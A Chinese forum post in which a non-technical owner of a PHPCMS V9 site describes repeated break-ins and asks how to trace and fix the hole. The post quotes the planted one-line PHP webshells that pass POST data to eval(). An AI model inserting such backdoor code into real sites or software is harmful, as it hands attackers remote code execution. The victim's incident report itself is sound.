网站程序遭木马【<?php eval($_POST[1]);?> ok】入侵，请求帮助探寻机理？
网站近来频繁遭遇黑客攻击，请求PHP大神给予协助，厘清思路，以助早日找到漏洞，解决烦忧！
现将事件经过陈述如下：
1、网站采用PHPCMS_V9_5.20默认版本搭建。
2、所有文件起先均以全开放权限存于服务器根目录。
3、后来网站被黑，入口文件api.php和index.php被改写。
4、植入病毒文件为：“一句话木马”。内容如下：
<?php @eval($_POST['dcs-19']);?>
<?php 
5、发现问题，删除以后，将此类文件的权限锁死，以为就能解决问题。可是隔几日，发现网站的快照被劫持，遂又查杀了一次木马，结果显示，木马文件所在位置为服务器根目录下uploadfile20170527文件夹中，此文件为后台上传附件或更新文章时按照日期自动生成。但是5月27日这天并没有更新文章，却出现了，请求大神给予协助，排查网站问题根源所在。
木马内容为：
<?php eval($_POST[1]);?>
ok
另附：在网上查询了相关内容，大多数说是网站程序漏洞所致的sql注入攻击，提示修复漏洞，但是怎么修复啊？PHP版本在线升级会有用吗？
【本人小白非技术出生，很多东西都不懂，说的不明白的地方，问答中，我再按照你们的指示补充！】
